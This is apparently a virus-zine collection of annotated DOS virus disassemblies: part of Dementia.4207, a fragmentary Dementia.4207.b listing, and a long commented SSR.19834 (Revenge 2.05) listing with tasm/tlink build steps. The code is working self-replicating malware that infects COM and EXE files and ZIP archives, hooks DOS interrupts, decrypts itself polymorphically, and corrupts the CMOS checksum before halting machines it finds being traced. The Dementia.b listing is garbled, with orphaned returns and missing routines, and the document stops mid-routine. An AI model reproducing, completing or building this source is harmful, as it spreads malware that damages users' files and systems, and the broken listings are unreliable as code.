db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
db 05h,6bh,0ah,20h,07h
gfx_end:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db 'Dementia]',00h
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
db 'I am the man that walks alone',0dh,0ah
db 'And when I''m walking a dark road',0dh,0ah
db 'At night or strolling through the park',0dh,0ah
db 'When the light begins to change',0dh,0ah
db 'I sometimes feel a little strange',0dh,0ah
db 'A little anxious when it''s dark',0dh,0ah,00h
crypt_begin:
code_end:
data_end:
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
comment *
Dementia.4207.b
Disassembly by
Darkman/29A
.model tiny
.code
code_begin:
call_imm16 equ word ptr $+01h ; Offset of CALL imm16
call prepare_demt
delta_offset:
pop si ; Load SI from stack
add si,(crypt_begin-delta_offset-02h)
mov di,si ; DI = offset of code_end - 02h
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
decrypt_key equ word ptr $+01h ; Decryption key
mov dx,00h ; DX = decryption key
jmp crypt_end
crypt_end:
loop decrypt_loop
call install
virus_exit:
mov ah,[com_or_exe] ; AH = COM or EXE executable?
cmp ah,00h ; COM executable?
nop
je vir_com_exit ; Equal? Jump to vir_com_exit
call inf_com_exe
jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
call inf_com_exe
jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207.b function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
ret ; Return!
endp
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
call infect_com
jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
ret ; Return!
endp
call int24_store
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
jmp callfas_loop
found_callfa:
mov ax,01h ; Found HOT_BBS!.COM
mov [bp-0eh],ax ; Store found HOT_BBS!.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found HOT_BBS!.COM
or ax,ax ; Didn't found HOT_BBS!.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call create_file
mov [bp-14h],ax ; Store file handle of HOT_BBS!.COM
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification
loop decrypt_spec
loop decrypt_next
jmp encrypt_rece
set_dta_addr:
call close_file
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
pop es ds di si dx cx bx ax
ret ; Return!
endp
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
call write_file_
mov cx,(code_end-code_begin)
call write_file
call set_pos_sof
ret ; Return!
endp
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
call write_file_
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
call set_pos_sof
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
ret ; Return!
endp
loop encrypt_loop
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
call set_pos_sof
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer
jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
jmp test_count
found_dir:
push cx ; Save CX at stack
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
ret ; Return!
endp
ret ; Return!
endp
endp
ret ; Return!
endp
file_begin:
mov cx,(crypt_end_-crypt_begin_)/02h
mov si,(crypt_begin_-file_begin+100h)
mov di,si ; DI = offset of crypt_begin_
mov dx,1995h ; DX = decryption key
jmp decrypt_lo__
decrypt_lo__:
loop decrypt_loo_
crypt_begin_:
mov ax,01h ; Set video mode
int 10h
jmp dont_sto_gfx
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx
jmp call_teletyp
examine_str:
mov cx,28h ; CX = length of row
inc si ; Increase index register
mov si,(_dementia_v-file_begin+100h)
call_teletyp:
push si ; Save SI at stack
call teletype_str
pop si ; Load SI from stack
jmp prepare_tele
mov si,(_dementia_v-file_begin+100h)
jmp teletype_str
teletype_out:
mov ah,0eh ; Teletype output
int 10h
loop teletype_str
loop loop_
ret ; Return!
endp
hot_bbs_exit:
mov ax,0c02h ; Flush buffer and read standard i...
int 21h
call cls_effect
ret ; Return!
endp
loop move_up
pop ds ; Load DS from stack
jmp reset_regs
sub_count_:
sub word ptr ds:[(count_-file_begin+100h)],08h
jmp reset_count
cls_exit:
pop sp ss di si dx cx bx ax
ret ; Return!
endp
mov [call_imm16+100h],cx
jmp delta_offset
endp
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ SSR.19834 ³
; ³ or Revenge 2.05 ³
; ³ Disassembled by ³
; ³ Tcp/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is one of the biggest known viruses and probably the most encrypted
; one: four different polymorphic decryption bucles. Only these bucles waste
; more than 7k of code. About the virus itself, it has many interesting fea-
; tures, it was coded in a pretty uncommon way tho... there's code not used,
; it's not optimized, and has a lot of messages, apparently (i can't unders-
; tand russian :) messing with some AVers. This virus seems to be an attempt
; to laugh about the deficiencies of some antiviruses (and exploit them) ra-
; ther than writing a virus itself. By the end of the viral code, appear 921
; bytes i didn't include in the disassembly as they have nothing to do with
; the virus, albeit they will be added to every infected file. I guess these
; bytes being copied are due to the fact that SSR left enough room for its 3
; engines and eventually forgot to readjust the size. The binary file inclu-
; ded in the \FILES directory is infected with an original copy of the virus
; and not with what you can get from the assembly of this file (because this
; source does not include the last 921 bytes of trash code).
;
; The code is commented enough so there's nothing else to say... if anybody
; wants to read something more about the functioning of this virus, i recom-
; mend to have a look to what AVPVE says about previous versions of this vi-
; rus (there are some errors in the description tho).
;
;
; Other data
; ÄÄÄÄÄÄÄÄÄÄ
; Virus : Revenge 2.05 (aka SSR.19834)
; Size : 19834 (11645 code+engines; 5000+1500+768 decryptors; 921 shit)
; Author : Stainless Steel Rat
; Origin : Russia
; Disasm by : Tcp/29A
;
; Send any question or comment to tcp@cryogen.com.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; Engines:
; tasm /m res.asm
; tasm /m ssrme.asm
; tasm /m mme.asm
;
; Virus:
; tasm /m ssr.asm
; tlink ssr res ssrme mme
; exe2bin ssr ssr.com
;
; - -[SSR.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
SSR segment
assume cs:SSR, ds:SSR, es:SSR, ss:SSR
org 0
RES_DEC = 768
SSRME_DEC = 5000
MME_DEC = 1500
DECRYPTORS = RES_DEC + SSRME_DEC + MME_DEC
SHIT_AT_END = 921
SSR_SIZE = ((virus_end-virus_start+15)/16)*16
RES_SIZE = ((911+15)/16)*16
SSRME_SIZE = ((1507+15)/16)*16
MME_SIZE = 1133
VIRUS_SIZE = SSR_SIZE+RES_SIZE+SSRME_SIZE+MME_SIZE+DECRYPTORS+SHIT_AT_END
VIRUSCODE_SIZE = VIRUS_SIZE - DECRYPTORS
virus_start:
call next_instruction
next_instruction:
pop si
jmp get_delta
nop
get_delta:
sub si,offset(next_instruction)
push ds
pop es
push ds
push es
mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)
nop
mov di,offset(decrypted_code)
add di,si
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[1h*4]
mov cs:[si+ofs_int1],ax ; Read & save int1
mov ax,es:[1h*4+2]
mov cs:[si+seg_int1],ax
mov ax,offset(int1_decryptor)
add ax,si
mov es:[1h*4],ax ; Set new int1
mov es:[1h*4+2],cs
pushf
pop ax
shr ah,1
shl ah,1 ; AH:=xxx0
inc ah ; AH:=xxx1 (trace flag on)
push ax
mov al,cs:[si+starting_dec_selector]
mov cs:[si+dec_selector],al
mov al,cs:[si+i1_mask]
popf ; Trace flag on
loop $ ; Decrypt code via int1
nop
pop es
jmp decrypted_code
int1_decryptor:
push ax
push cx
cmp cx,0 ; All code decrypted?
jz restore_i1 ; Yes? then jmp
nop
nop
nop
call select_dec_inst
mov cl,al
mov cs:[si+encrypt_decrypt],90h
decrypt_instruction:
xor cs:[di],al ; Select instruction from table
encrypt_decrypt db 90h ; NOP for decryption
; RET for encryption
inc di
pop cx
pop ax
iret
restore_i1:
add sp,4
mov ax,cs:[si+ofs_int1] ; Restore original int1
mov es:[1h*4],ax
mov ax,cs:[si+seg_int1]
mov es:[1h*4+2],ax
retf 2
i1_mask db 0
starting_dec_selector db 0
ofs_int1 dw 0
seg_int1 dw 0
select_dec_inst:
push cx
push ax
push si
push di
mov bx,si
mov bp,offset(decryption_instructions)
mov di,offset(decrypt_instruction)
add di,si
add si,bp
mov al,cs:[bx+dec_selector]
ror al,1
mov cs:[bx+dec_selector],al
and al,3
mov cl,3
mul cl
add si,ax ; Select instruction
call copy_instruction
pop di
pop si
pop ax
pop cx
ret
copy_instruction:
push ds
push es
push cs
push cs
pop ds
pop es
cld
mov cx,3
rep movsb
pop es
pop ds
ret
dec_selector db 0
decryption_instructions:
sub cs:[di],al
add cs:[di],al
xor cs:[di],al
rol byte ptr cs:[di],cl
decrypted_code:
cmp cs:[si+host_type],1 ; Exe file?
je host_exe ; Yes? then jmp
nop
nop
nop
mov di,offset(header)
add di,si
push si
mov si,100h
xchg di,si
mov cx,e_header_exe-header_exe
rep movsb ; Restore host (COM)
pop si
host_exe:
push es
xor ax,ax
mov es,ax ; ES:=0
cmp es:[198h],0DEADh ; Resident?
pop es
jne install_virus ; No? then jmp
nop
nop
nop
jmp restore_exec_host
install_virus:
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[30h*4+3] ; Get int 21h segment (CP/M)
mov [si+realseg_i2f],ax ; Store for tunneling int 2Fh
mov ax,es:[1h*4] ; Offset int 1
mov cs:[si+ofs_i1],ax ; Store it
mov ax,es:[1h*4+2] ; Segment int 1
mov cs:[si+seg_i1],ax ; Store it
mov ax,es:[2Fh*4] ; Offset int 2Fh
mov cs:[si+ofs_i2f],ax ; Store it
mov ax,es:[2Fh*4+2] ; Segment int 2Fh
mov cs:[si+seg_i2f],ax ; Store it
mov es:[1h*4],offset(int_1) ; Tunneler
add es:[1h*4],si
mov es:[1h*4+2],cs
pushf
pop ax ; AX:=flags
and ah,0FEh
inc ah ; Trace flag on
push ax
popf
jmp start_tunneling
nop
start_tunneling:
mov ax,0ABCDh
push ds
push es
push si
pushf ; Simulated int 2Fh
db 9Ah ; call far
ofs_i2f dw 0
seg_i2f dw 0
pushf
pop ax ; AX:=flags
and ah,0FEh ; Trace flag off
push ax
popf ; Stop tunneling
pop si
pop es
pop ds
mov ax,cs:[si+ofs_i1]
mov es:[1h*4],ax ; Restore original int 1
mov ax,cs:[si+seg_i1]
mov es:[1h*4+2],ax
xor bx,bx
mov dx,bx
mov ax,1300h
push ds
push es
push si
call int_2f ; Get real int13h in DS:DX
pop si
mov cs:[si+ofs_i13],dx ; Store it
mov cs:[si+seg_i13],ds
mov ax,1300h
push si
call int_2f ; Restore address from previous call
pop si
pop es
pop ds
jmp make_resident
nop
ofs_i1 dw 0
seg_i1 dw 0
int_1:
pushf
push si
call getdelta_i1
getdelta_i1:
pop si
sub si,offset(getdelta_i1) ; Get delta-offset
push ax
push bp
push bx
pushf
pop bx ; Flags
mov bp,sp
mov ax,cs:[si+realseg_i2f]
cmp [bp+0Ch],ax ; Original int 2Fh segment?
jne no_real_i2f ; No? then jmp
nop
nop
nop
mov ax,[bp+0Ah] ; Get int 2fh offset
mov cs:[si+realofs_i2f],ax ; Store it
mov [bp+0Eh],bx ; Flags
no_real_i2f:
pop bx
pop bp
pop ax
pop si
popf
iret
int_2f:
pushf
db 9Ah ; call far
realofs_i2f dw 0
realseg_i2f dw 0
ret
make_resident:
mov ax,ds
dec ax
mov es,ax ; ES->MCB
mov dh,es:[0] ; Get 'M' or 'Z'
mov byte ptr es:[0],'M' ; Mark current block as 'middle'
mov bx,VIRUSCODE_SIZE+100h
nop
mov cl,4
shr bx,cl ; div 16
inc bx
inc bx
add bx,40000/16 ; Space for encryption buffers
sub es:[3],bx
dec word ptr es:[3] ; Build a new MCB
add ax,es:[3]
inc ax
mov es,ax
mov es:[0],dh ; Put 'M' or 'Z'
mov word ptr es:[8],0 ; Block owner name
inc ax
mov es:[1],ax ; Paragraph of owner
mov es:[3],bx ; Chain next MCB
add ax,1
mov es,ax
push si
xor di,di
mov cx,VIRUSCODE_SIZE
nop
l_copy_code:
mov ah,cs:[si+100h] ; Copy code to new MCB
mov es:[di],ah
inc si
inc di
loop l_copy_code
pop si
push ds
push es
pop ds
xor ax,ax
mov es,ax ; ES:=0
mov bx,es:[21h*4] ; Get int 21h
mov es,es:[21h*4+2]
mov seg_i21-100h,es ; Store it
mov ofs_i21-100h,bx
mov seg_i21_2-100h,es
mov ofs_i21_2-100h,bx
mov ax,es:[bx] ; Read 2 bytes from int 21h entry
mov _2bytes_21h-100h,ax ; Store bytes
mov es:[bx],0ACCDh ; Change bytes to 'int 0ACh'
pop es
push si
push cx
xor si,si
mov cx,int_24-virus_start
nop
in al,40h ; Get random number
l_crypt_memcode:
push cx
mov mem_mask-100h,al ; Store mask
mov cl,al
add [si],cl ; Encrypt code in memory
ror byte ptr [si],cl
xor [si],cl
inc si
pop cx
loop l_crypt_memcode
pop cx
pop si
xor ax,ax
mov es,ax ; ES:=0
cli
mov es:[0ABh*4],offset(int_ab)-100h ; Set new int 0ABh
mov es:[0ABh*4+2],ds
mov es:[0ACh*4],offset(int_ac)-100h ; Set new int 0ACh
mov es:[0ACh*4+2],ds
mov es:[1Ch*4],offset(int_1c)-100h ; Set new int 1Ch
mov es:[1Ch*4+2],ds
mov es:[6h*4],offset(int_6)-100h ; Set new int 6
mov es:[6h*4+2],ds
sti
mov _signature-100h,dx ;??
mov returnAX_fffn-100h,dx ;??
jmp restore_exec_host
int_ab:
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push ds
push es
push ax
mov ax,':)' ; Check if anyone is tracing
push ax
cli
inc sp
inc sp
nop
dec sp
dec sp
sti
pop ax
cmp ax,':)' ; Being traced?
je no_tracing ; No? then jmp
nop
nop
nop
mov al,2Eh
out 70h,al ; CMOS: Select address 2Eh (checksum)
out 71h,al ; CMOS: Write 2Eh (corrupt checksum)
cli
hlt ; Halt computer
no_tracing:
pop ax
push es
push ax
xor ax,ax
mov es,ax ; ES:=0
mov es:[198h],0DEADh ; Residency mark
mov ax,cs:infection_count-100h
mov es:[88h*4],ax ; ??
pop ax
pop es
cmp ax,4B00h ; Exec?
je try_to_infect ; Yes? then jmp
nop
nop
nop
cmp ah,3Dh ; Open?
je try_to_infect ; Yes? then jmp
nop
nop
nop
cmp ah,4Eh ; Find-first (handle)?
jne cmp_fn ; No? then jmp
nop
nop
nop
jmp ff_fn
cmp_fn:
cmp ah,4Fh ; Find-Next (handle)?
je jmp_fffn ; Yes? then jmp
jmp popregs_iret
jmp_fffn:
jmp ff_fn
try_to_infect:
mov di,dx
call convert2uppercase ; Convert filename to uppercase
search_extension:
mov ah,[di]
cmp ah,0 ; End of string?
jne search_dot ; No? then jmp
jmp popregs_iret ; Yes? then jmp (no dot)
search_dot:
cmp ah,'.' ; Dot?
je found_dot ; Yes? then jmp
nop
nop
nop
inc di ; Next char
jmp search_extension
found_dot:
inc di
cmp word ptr [di],'OC' ; *.CO*?
jne check_if_exe ; No? then jmp
nop
nop
nop
cmp byte ptr [di+2],'M' ; *.COM?
je jmp_jmp_infect ; Yes? then jmp
jmp popregs_iret
jmp_jmp_infect:
jmp jmp_infect
nop
check_if_exe:
cmp word ptr [di],'XE' ; *.EX*?
je maybe_exe ; Yes? then jmp
jmp popregs_iret
maybe_exe:
cmp byte ptr [di+2],'E' ; *.EXE?
je jmp_infect ; Yes? then jmp
jmp popregs_iret
jmp_infect:
jmp infect
nop
infect:
push es
push ds
push dx
mov cx,cs
sub cx,10h
mov ds,cx
mov ax,3524h
call int_21 ; Get int 24h
mov ofs_i24,bx ; Save it
mov seg_i24,es
mov dx,offset(int_24)
mov ah,25h
call int_21 ; Set new int 24h
pop dx
pop ds
pop es
push ds
push dx
mov ax,4300h
call int_21 ; Get file attributes
jnc reset_attr
nop
nop
nop
pop dx
pop ds
jmp restore_i24
reset_attr:
mov cs:attributes-100h,cx
mov ax,4301h
xor cx,cx
call int_21 ; Reset attributes
jnc check_name
nop
nop
nop
pop dx
pop ds
jmp restore_i24
check_name:
call check_valid_fname
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[2Ah*4] ; Get int 2Ah
mov cs:ofs_i2a-100h,ax
mov ax,es:[2Ah*4+2]
mov cs:seg_i2a-100h,ax
mov es:[2Ah*4],offset(int_2a)-100h ; Set new int 2Ah
mov es:[2Ah*4+2],cs
mov di,dx
l_search_ext:
cmp byte ptr [di],'.' ; Dot?
je found_ext ; Yes? then jmp
nop
nop
nop
inc di
jmp l_search_ext
found_ext:
mov al,[di+1] ; Get first char of extension
mov cs:byte_ext-100h,al ; Save it
mov cs:ofs_byte_ext-100h,di ; and save its address
mov cs:seg_byte_ext-100h,ds
; BUG!!! Missing 'mov [di+1],xx'
mov ax,3D02h
push es
call int_21 ; Open file I/O
pop es
jnc open_ok
nop
nop
nop
call restore_i2a
pop es
jmp restore_attr
open_ok:
push ax
call restore_i2a
pop ax
pop es
jmp read_header
nop
ofs_byte_ext dw 0
seg_byte_ext dw 0
byte_ext db 0
ofs_i2a dw 0
seg_i2a dw 0
restore_i2a:
mov ax,cs:ofs_i2a-100h ; Restore int 2Ah
mov es:[2Ah*4],ax
mov ax,cs:seg_i2a-100h
mov es:[2Ah*4+2],ax
ret
read_header:
mov cx,cs
sub cx,10h
mov ds,cx ; DS:=CS-10h
mov bx,ax
mov ah,3Fh
mov cx,e_header_exe-header_exe
mov dx,offset(header)
call int_21 ; Read file header
jnc get_timedate
jmp close_file
get_timedate:
mov ax,5700h
call int_21 ; Get file time/date
jnc timedate_ok
jmp close_file
timedate_ok:
push cx
mov ax,dx ; File date
mov cl,5
shr ax,cl
and ax,0Fh ; Get month
mov dx,ax
pop ax ; File time
and ax,1Fh ; Get seconds
cmp ax,dx ; Infected? (seconds==month)
jne check_header ; No? then jmp
jmp close_file
check_header:
mov file_month,dx ; Save file month
cmp _signature,'ZM' ; Exe mark?
jne cmp_mark2 ; No? then jmp
jmp is_exe ; Yes? then jmp
cmp_mark2:
cmp _signature,'MZ' ; Exe mark?
jne is_com ; No? then jmp
jmp is_exe ; Yes? then jmp
is_com:
mov host_type,0 ; COM file
call check4pklite_com ; PKLited file?
jc no_pk_com ; No? then jmp
nop
nop
nop
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h & read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h & write the byte
mov pklite_com,1 ; It's a pklited file
mov dx,1
add dx,inc_ofs_patch1 ; offset 2 for Pklite 1.50+
; offset 1 for other versions
xor cx,cx
mov ax,4200h
call int_21
jnc patch_pklite_com
jmp close_file
patch_pklite_com:
mov dx,offset(_FFFF)
mov cx,2
mov ah,40h
call int_21 ; Patch file with a 0FFFFh to give
; control to the out-of-memory routine
jnc patch_pklite_com2
jmp close_file
patch_pklite_com2:
mov dx,ofs_patchcom2 ; Offset of 2nd patch
xor cx,cx
jmp mark_encrypted
no_pk_com:
mov pklite_com,0 ; It isn't a pklited file
cmp byte ptr header,0E9h ; Start with a JMP?
jne cmp_call ; No? then jmp
nop
nop
nop
mov ax,word ptr header+1 ; Offset of jump
add ax,3 ; Destiny of jump
mov jmp_dest,ax ; This will be the entry point
mov word ptr header,0EBAh
mov encrypted_byte?,0FFh
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h and read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h and save the byte
jmp mark_no_pkcom2
nop
cmp_call:
cmp byte ptr header,0E8h ; CALL?
jne encrypt190 ; No? then jmp
nop
nop
nop
mov ax,word ptr header+1 ; Offset of call
add ax,3 ; Destiny of call
mov jmp_dest,ax ; This will be the entry point
